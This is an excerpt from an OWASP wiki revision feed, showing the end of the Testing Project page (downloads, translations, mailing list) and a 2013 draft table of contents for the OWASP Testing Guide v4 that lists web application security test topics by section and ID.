&lt;br /&gt;
*you can read it on line on the [http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents Testing Guide v2 wiki] &lt;br /&gt;
*or download the Guide in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_pdf.zip Adobe PDF format] or in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_doc.zip Ms Doc format]&lt;br /&gt;
&lt;br /&gt;
'''OWASP Testing Guide v2 in Spanish:''' Now you can get a complete translation in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_spanish_doc.zip Ms Doc format] &lt;br /&gt;
&lt;br /&gt;
For comments or questions, please join the [http://lists.owasp.org/mailman/listinfo/owasp-testing OWASP Testing mailing list], read our archive and share your ideas. Alternatively you can contact [[User:EoinKeary|Eoin Keary]] or [[User:Mmeucci|Matteo Meucci]] directly. &lt;br /&gt;
&lt;br /&gt;
Here you can find: &lt;br /&gt;
&lt;br /&gt;
*[http://www.owasp.org/index.php/Testing_Guide_Quotes The OWASP Testing Guide 'Quotes'] &lt;br /&gt;
*[http://www.owasp.org/index.php/OWASP_Testing_Guide_Presentations Testing Guide presentations]&lt;br /&gt;
&lt;br /&gt;
= Related  =&lt;br /&gt;
&lt;br /&gt;
'''OWASP Testing Guide (v2+v3) Report Generator''' is found at [http://yehg.net/lab/#wasarg http://yehg.net/lab/#wasarg]. &lt;br /&gt;
&lt;br /&gt;
'''THE OWASP Testing Project Live CD''' The OWASP testing project is currently implementing an Application security Live CD. &amp;lt;br&amp;gt; LabRat Version 0.8 Alpha is just weeks away from Beta testing*. &lt;br /&gt;
&lt;br /&gt;
The aim of this CD is to have a complete testing suite on one Disk. The CD shall also contain the forthcoming OWASP Testing guide. &lt;br /&gt;
&lt;br /&gt;
The Live CD now has its own section you can find it here: [http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project] &lt;br /&gt;
&lt;br /&gt;
= Feedback and Participation  =&lt;br /&gt;
&lt;br /&gt;
We hope you find the information in the OWASP Testing project useful. Please contribute back to the project by sending your comments, questions, and suggestions to the OWASP Testing mailing list. Thanks! &lt;br /&gt;
&lt;br /&gt;
To join the OWASP Testing mailing list or view the archives, please visit the [http://lists.owasp.org/mailman/listinfo/owasp-testing subscription page]. &lt;br /&gt;
&lt;br /&gt;
= Translations =&lt;br /&gt;
&lt;br /&gt;
Thanks to the translators all around the world you can download the guide in the following languages:&lt;br /&gt;
&lt;br /&gt;
* Spanish in [http://www.owasp.org/images/8/80/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.pdf PDF] or [http://www.owasp.org/images/d/d7/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.zip MS Word] formats. &lt;br /&gt;
&lt;br /&gt;
* Chinese in [http://www.owasp.org/images/0/06/OWASP%E6%B5%8B%E8%AF%95%E6%8C%87%E5%8D%97%28%E4%B8%AD%E6%96%87%EF%BC%89.pdf PDF] format. (Thanks to the [http://www.owasp.org/index.php/China-Mainland China-mainland chapter].)&lt;br /&gt;
&lt;br /&gt;
* Japanese in [http://www.owasp.org/images/1/1e/OTGv3Japanese.pdf PDF] format here (this is a 1st draft, final release coming soon). &lt;br /&gt;
&lt;br /&gt;
= Project About =&lt;br /&gt;
{{:Projects/OWASP Testing Project | Project About}}&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &lt;br /&gt;
&amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|Testing Guide]] [[Category:OWASP_Document]] [[Category:OWASP_Download]] [[Category:OWASP_Release_Quality_Document|OWASP Stable Quality Document]]&lt;/div&gt;</summary>
		<author><name>Glenn 'devalias' Grant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=158620</id>
		<title>OWASP Testing Guide v4 Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=158620"/>
				<updated>2013-09-17T22:59:44Z</updated>
		
		<summary type="html">&lt;p&gt;Glenn 'devalias' Grant: Add 'OWASP Breakers' template tag&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{OWASP Breakers}}&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
'''This is the DRAFT of the table of content of the New Testing Guide v4.'''&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Back to the OWASP Testing Guide Project:&lt;br /&gt;
http://www.owasp.org/index.php/OWASP_Testing_Project&lt;br /&gt;
&lt;br /&gt;
'''Updated: 15th February 2013'''&lt;br /&gt;
&lt;br /&gt;
[[ OWTGv4 Contributors list|'''Contributors List]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following is a DRAFT of the Toc based on the feedback already received.&lt;br /&gt;
&lt;br /&gt;
== Table of Contents ==&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Foreword|Foreword by Eoin Keary]]== &lt;br /&gt;
[To review--&amp;gt; Eoin Keary -&amp;gt; Done!!]&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Frontispiece |1. Frontispiece]]== &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]''' &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]''' &lt;br /&gt;
[To review--&amp;gt; ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Introduction|2. Introduction]]==&lt;br /&gt;
&lt;br /&gt;
'''2.1 The OWASP Testing Project'''&lt;br /&gt;
&lt;br /&gt;
'''2.2 Principles of Testing'''&lt;br /&gt;
&lt;br /&gt;
'''2.3 Testing Techniques Explained''' &lt;br /&gt;
&lt;br /&gt;
2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]&lt;br /&gt;
&lt;br /&gt;
2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]&lt;br /&gt;
&lt;br /&gt;
==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==&lt;br /&gt;
&lt;br /&gt;
'''3.1. Overview'''&lt;br /&gt;
&lt;br /&gt;
'''3.2. Phase 1: Before Development Begins '''&lt;br /&gt;
&lt;br /&gt;
'''3.3. Phase 2: During Definition and Design'''&lt;br /&gt;
&lt;br /&gt;
'''3.4. Phase 3: During Development'''&lt;br /&gt;
&lt;br /&gt;
'''3.5. Phase 4: During Deployment'''&lt;br /&gt;
&lt;br /&gt;
'''3.6. Phase 5: Maintenance and Operations'''&lt;br /&gt;
&lt;br /&gt;
'''3.7. A Typical SDLC Testing Workflow '''&lt;br /&gt;
&lt;br /&gt;
==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==&lt;br /&gt;
&lt;br /&gt;
[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing Information Gathering|'''4.2 Information Gathering ''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly &amp;quot;Search Engine Discovery/Reconnaissance (OWASP-IG-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly &amp;quot;Spiders, Robots and Crawlers (OWASP-IG-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly &amp;quot;Application Discovery (OWASP-IG-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly &amp;quot;Review webpage comments and metadata(OWASP-IG-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly &amp;quot;Identify application entry points (OWASP-IG-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Identify application exit/handover points (OWASP-IG-008)|4.2.7 Identify application exit/handover points (OTG-INFO-007) ]] formerly &amp;quot;Identify application exit/handover points (OWASP-IG-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Map execution paths through application (OWASP-IG-009)|4.2.8 Map execution paths through application (OTG-INFO-008)]] formerly &amp;quot;Map execution paths through application (OWASP-IG-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.9 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot; '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Web Application (OTG-INFO-011)|4.2.10 Fingerprint Web Application (OTG-INFO-010) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Map Network and Application Architecture (OTG-INFO-012)|4.2.11 Map Network and Application Architecture (OTG-INFO-011) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly &amp;quot;Testing for Application Configuration Management weakness (OWASP-CM-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for file extensions handling  (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly &amp;quot;Testing for File Extensions Handling  (OWASP-CM-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly &amp;quot;Old, Backup and Unreferenced Files (OWASP-CM-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Admin Interfaces  (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly &amp;quot;Infrastructure and Application Admin Interfaces  (OWASP-CM-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Methods and XST  (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly &amp;quot;Testing for Bad HTTP Methods (OWASP-CM-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OTG-CONFIG-007) ]] formerly &amp;quot;Testing for Database credentials/connection strings available (OWASP-CM-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Content Security Policy weakness|4.3.8 Test Content Security Policy (OTG-CONFIG-008) ]] formerly &amp;quot;Testing for Content Security Policy weakness (OWASP-CM-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Missing HSTS header|4.3.9 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly &amp;quot;Testing for Missing HSTS header (OWASP-CM-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Frame Options|4.3.10 Test Frame Options (OTG-CONFIG-010) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for RIA policy files weakness|4.3.11 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly &amp;quot;Testing for RIA policy files weakness (OWASP-CM-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Content Type Options|4.3.12 Test Content Type Options (OTG-CONFIG-012) ]] new&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing Identity Management|'''4.4 Identity Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]] New&lt;br /&gt;
&lt;br /&gt;
[[Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]] formerly &amp;quot;Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak or unenforced username policy (OWASP-AT-009)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]] formerly &amp;quot;Testing for Weak or unenforced username policy (OWASP-AT-009)&lt;br /&gt;
&lt;br /&gt;
[[Test Permissions of Guest/Training Accounts (OTG-IDENT-006)|4.4.6 Test Permissions of Guest/Training Accounts (OTG-IDENT-006)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Suspension/Resumption Process (OTG-IDENT-007)|4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test User Deregistration Process (OTG-IDENT-008)|4.4.8 Test User Deregistration Process (OTG-IDENT-008)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Deregistration Process (OTG-IDENT-009)|4.4.9 Test Account Deregistration Process (OTG-IDENT-009)]] New&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for authentication|'''4.5 Authentication Testing ''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel  (OTG-AUTHN-001)]] formerly &amp;quot;Testing for Credentials Transported over an Encrypted Channel  (OWASP-AT-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for default credentials (OWASP-AT-003)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]] formerly &amp;quot;Testing for default credentials (OWASP-AT-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]] formerly &amp;quot;Testing for Weak lock out mechanism (OWASP-AT-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]] formerly &amp;quot;Testing for bypassing authentication schema (OWASP-AT-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]] formerly &amp;quot;Testing for vulnerable remember password functionality (OWASP-AT-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Browser cache weakness (OWASP-AT-007)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]] formerly &amp;quot;Testing for Browser cache weakness (OWASP-AT-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak password policy (OWASP-AT-008)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]] formerly &amp;quot;Testing for Weak password policy (OWASP-AT-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]] New! - Robert Winkel&lt;br /&gt;
&lt;br /&gt;
[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]] formerly &amp;quot;Testing for weak password change or reset functionalities (OWASP-AT-011)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]] (e.g. mobile app, IVR, help desk)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Authorization|'''4.6 Authorization Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Test Management of Account Permissions (OTG-AUTHZ-001)|4.6.1 Test Management of Account Permissions (OTG-AUTHZ-001)]] New&lt;br /&gt;
&lt;br /&gt;
[[Testing for Path Traversal  (OWASP-AZ-001)|4.6.2 Testing Directory traversal/file include (OTG-AUTHZ-002)]] formerly &amp;quot;Testing Directory traversal/file include (OWASP-AZ-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authorization Schema  (OWASP-AZ-002)|4.6.3 Testing for bypassing authorization schema (OTG-AUTHZ-003)]] formerly &amp;quot;Testing for bypassing authorization schema  (OWASP-AZ-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Privilege escalation  (OWASP-AZ-003)|4.6.4 Testing for Privilege Escalation (OTG-AUTHZ-004)]] formerly &amp;quot;Testing for Privilege Escalation  (OWASP-AZ-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.5 Testing for Insecure Direct Object References (OTG-AUTHZ-005)]] formerly &amp;quot;Testing for Insecure Direct Object References (OWASP-AZ-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.6 Testing for Failure to Restrict access to authorized resource (OTG-AUTHZ-006)]] formerly &amp;quot;Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test privileges of server components (OTG-AUTHZ-007)|4.6.7 Test privileges of server components (OTG-AUTHZ-007)]] (e.g. indexing service, reporting interface, file generator)&lt;br /&gt;
&lt;br /&gt;
[[Test enforcement of application entry points (OTG-AUTHZ-008)|4.6.8 Test enforcement of application entry points (OTG-AUTHZ-008)]] (including exposure of objects)&lt;br /&gt;
&lt;br /&gt;
[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.6.9 Testing for failure to restrict access to authenticated resource (OTG-AUTHZ-009)]] formerly &amp;quot;Testing for failure to restrict access to authenticated resource (OWASP-AT-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Management|'''4.7 Session Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session_Management_Schema (OWASP-SM-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]] formerly &amp;quot;Testing for Bypassing Session Management Schema (OWASP-SM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for cookies attributes  (OWASP-SM-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]] formerly &amp;quot;Testing for Cookies attributes (OWASP-SM-002)&amp;quot; (Cookies are set not ‘HTTP Only’, ‘Secure’,  and no time validity)&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Fixation  (OWASP-SM-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]] formerly &amp;quot;Testing for Session Fixation  (OWASP-SM-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Exposed Session Variables  (OWASP-SM-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]] formerly &amp;quot;Testing for Exposed Session Variables (OWASP-SM-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for CSRF  (OWASP-SM-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]] formerly &amp;quot;Testing for Cross Site Request Forgery (CSRF) (OWASP-SM-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test Session Token Strength (OTG-SESS-006)|4.7.6 Test Session Token Strength (OTG-SESS-006)]]&lt;br /&gt;
 &lt;br /&gt;
[[Testing for logout functionality (OWASP-SM-007)|4.7.7 Testing for logout functionality (OTG-SESS-007)]] formerly &amp;quot;Testing for logout functionality (OWASP-SM-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session puzzling (OWASP-SM-008)|4.7.8 Testing for Session puzzling (OWASP-SM-008)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Session Timeout (OTG-SESS-008)|4.7.8 Test Session Timeout (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
[[Test multiple concurrent sessions (OTG-SESS-009)|4.7.9 Test multiple concurrent sessions (OTG-SESS-009)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Data Validation|'''4.8 Data Validation Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Reflected Cross site scripting (OWASP-DV-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]] formerly &amp;quot;Testing for Reflected Cross Site Scripting (OWASP-DV-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stored Cross site scripting (OWASP-DV-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]] formerly &amp;quot;Testing for Stored Cross Site Scripting (OWASP-DV-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Verb Tampering (OWASP-DV-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]] formerly &amp;quot;Testing for HTTP Verb Tampering (OWASP-DV-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Parameter pollution (OWASP-DV-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]] formerly &amp;quot;Testing for HTTP Parameter pollution (OWASP-DV-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards (OTG-INPVAL-005) ]] formerly &amp;quot;Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Injection (OWASP-DV-005)| 4.8.6 Testing for SQL Injection (OTG-INPVAL-006)]] formerly &amp;quot;Testing for SQL Injection (OWASP-DV-005)&amp;quot; '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Testing for Oracle|4.8.6.1 Oracle Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MySQL|4.8.6.2 MySQL Testing [Ismael Gonçalves]]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Server|4.8.6.3 SQL Server Testing]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.6.4 Testing PostgreSQL (from OWASP BSP) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MS Access |4.8.6.5 MS Access Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for NoSQL injection|4.8.6.6 Testing for NoSQL injection [New!]]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for LDAP Injection  (OWASP-DV-006)|4.8.7 Testing for LDAP Injection  (OTG-INPVAL-007)]] formerly &amp;quot;Testing for LDAP Injection  (OWASP-DV-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for ORM Injection   (OWASP-DV-007)|4.8.8 Testing for ORM Injection   (OTG-INPVAL-008)]] formerly &amp;quot;Testing for ORM Injection   (OWASP-DV-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for XML Injection (OWASP-DV-008)|4.8.9 Testing for XML Injection (OTG-INPVAL-009)]] formerly &amp;quot;Testing for XML Injection (OWASP-DV-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for SSI Injection  (OWASP-DV-009)|4.8.10 Testing for SSI Injection  (OTG-INPVAL-010)]] formerly &amp;quot;Testing for SSI Injection  (OWASP-DV-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for XPath Injection  (OWASP-DV-010)|4.8.11 Testing for XPath Injection  (OTG-INPVAL-011)]] formerly &amp;quot;Testing for XPath Injection  (OWASP-DV-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for IMAP/SMTP Injection  (OWASP-DV-011)|4.8.12 IMAP/SMTP Injection  (OTG-INPVAL-012)]] formerly &amp;quot;IMAP/SMTP Injection  (OWASP-DV-011)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Code Injection  (OWASP-DV-012)|4.8.13 Testing for Code Injection  (OTG-INPVAL-013)]] formerly &amp;quot;Testing for Code Injection  (OWASP-DV-012)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Local File Inclusion|4.8.13.1 Testing for Local File Inclusion]] [Alexander Antukh]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Remote File Inclusion|4.8.13.2 Testing for Remote File Inclusion]] [Alexander Antukh]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Command Injection   (OWASP-DV-013)|4.8.14 Testing for Command Injection   (OTG-INPVAL-014)]] formerly &amp;quot;Testing for Command Injection   (OWASP-DV-013)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Buffer Overflow (OWASP-DV-014)|4.8.15 Testing for Buffer overflow (OTG-INPVAL-015)]] formerly &amp;quot;Testing for Buffer overflow (OWASP-DV-014)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Heap Overflow|4.8.15.1 Testing for Heap overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Overflow|4.8.15.2 Testing for Stack overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Format String|4.8.15.3 Testing for Format string]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Incubated Vulnerability (OWASP-DV-015)|4.8.16 Testing for incubated vulnerabilities (OTG-INPVAL-016)]] formerly &amp;quot;Testing for incubated vulnerabilities (OWASP-DV-015)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Splitting/Smuggling  (OWASP-DV-016)|4.8.17 Testing for HTTP Splitting/Smuggling  (OTG-INPVAL-017) ]] formerly &amp;quot;Testing for HTTP Splitting/Smuggling  (OWASP-DV-016)&amp;quot; [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Error Handling|'''4.9 Error Handling''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Error Code (OWASP-IG-006)|4.9.1 Analysis of Error Codes (OTG-ERR-001)]] formerly &amp;quot;Analysis of Error Codes (OWASP-IG-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Traces (OWASP-IG-XXX)|4.9.2 Analysis of Stack Traces (OTG-ERR-002)]] formerly &amp;quot;Analysis of Stack Traces&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Cryptography|'''4.10 Cryptography''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.10.1  Testing for Insecure encryption usage (OTG-CRYPST-001)]] formerly &amp;quot;Testing for Insecure encryption usage (OWASP-EN-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)| 4.10.2 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-002)]] formerly &amp;quot;Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Padding Oracle (OWASP-EN-003)| 4.10.3 Testing for Padding Oracle (OTG-CRYPST-003)]] formerly &amp;quot;Testing for Padding Oracle (OWASP-EN-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Cacheable HTTPS Response (OTG-CRYPST-004)| 4.10.4 Testing for Cacheable HTTPS Response (OTG-CRYPST-004)]]&lt;br /&gt;
